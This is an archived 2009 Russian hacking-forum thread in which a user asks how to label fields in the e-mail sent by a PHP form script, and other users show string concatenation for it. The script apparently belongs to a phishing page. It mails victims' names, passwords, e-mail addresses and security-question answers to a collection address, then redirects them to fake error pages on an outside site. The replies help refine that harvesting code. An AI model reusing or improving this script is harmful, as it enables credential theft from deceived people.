Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   наименование в переменным (https://forum.antichat.xyz/showthread.php?t=133398)

Lionis 06.08.2009 23:03

наименование в переменным
 
Здравствуйте , есть форма отправки e-mail / оператор отправляющий сам контент письма , отправляет только данные формы с новой строки . Можно ли стоку наименовать . Например чтобы
Код:

$name
приходило например как Имя : Ivan .
PHP код:

<?php
$res_mail 
'test@test.com'//
$name trim(strip_tags($_POST[name]));
$pass trim(strip_tags($_POST[pass]));
$pass2 trim(strip_tags($_POST[pass2]));
$mails trim(strip_tags($_POST[mails]));
$question trim(strip_tags($_POST[question]));
$question2 trim(strip_tags($_POST[question2]));
mail($res_mail,'loto regestration',$name."\n".$pass."\n".$pass2."\n".$mails."\n".$question."\n".$question2);
$adresses = array('','http://capitalism.pcriot.com/error-204.html','http://capitalism.pcriot.com/error-203_201_007699.html','http://capitalism.pcriot.com/error-201.html');
header("Location: ".$adresses[rand(1,sizeof($adresses)-1)]);
?>

---
Каждому ответившему +10 , спасибо .

xa-xa89 06.08.2009 23:11

Цитата:

Можно ли стоку наименовать
что значит наименовать?

Lionis 06.08.2009 23:16

$name
 
Цитата:

Сообщение от xa-xa89
что значит наименовать?

Ну чтобы письмо пришло , и перед каждой переменной было название .
у представь переменные :
Код:

$name1
$name2
$name3
$name4

передаются данные что:
Код:

$name1 = Иван
$name2 = Александр
$name3 = Роман
$name4 = Виктор

На данный момент мне приходит на мейл в таком виде :
Код:

Иван
Александр
Роман
Виктор

А я бы хотел чтобы каждая строка была наименована , т.е приходила в таком виде :
Имя 1 : Иван
Имя 2 : Александр
Имя 3 : Роман
Имя 4 : Виктор
---
ясно ?

Lionis 06.08.2009 23:32

thx
 
Спасибо , то что нужно http://www.kolobok.us/smiles/big_standart/drinks.gif
Цитата:

Сообщение от FireFenix
Мозг опасносте!!!! Пыщь пыщь!!!!
Сформируй более корректно мысли!

Если тебе нужно в тексте указать наименование переменной или любое другое название, то будет типа:
PHP код:

//текст письма
$text =  '$name = ' $name "\r\n" '$pass = ' $pass  "\r\n" '$pass2 = ' $pass2 "\r\n" '$mails = ' $mails "\r\n" '$question = ' .  $question  "\r\n" '$question2 = ' $question2;
//отправка письма
mail($res_mail'loto regestration'$text); 

Если что-то нужно другое - исправь как тебе нужно в переменной $text


b3 07.08.2009 04:00

Цитата:

$name = trim(strip_tags($_POST[name]));
$pass = trim(strip_tags($_POST[pass]));
$pass2 = trim(strip_tags($_POST[pass2]));
$mails = trim(strip_tags($_POST[mails]));
Так не делается, зачем trim() в форме? Если ты ввел с пробелами по сторонам в форме значит руки ебутся или значит пробел был нужен, убери trim() ето тебе не file()

.::BARS::. 07.08.2009 07:15

Цитата:

$name1 = "Имя1 : ".trim(strip_tags($_POST[name1])); //иван
$name2 = "Имя2 : ".trim(strip_tags($_POST[name2])); //леха
$name3 = "Имя3 : ".trim(strip_tags($_POST[name3])); //паха
$name4 = "Имя4 : ".trim(strip_tags($_POST[name4])); //жека
=))))

и все равно суть вопроса не понял


Время: 01:55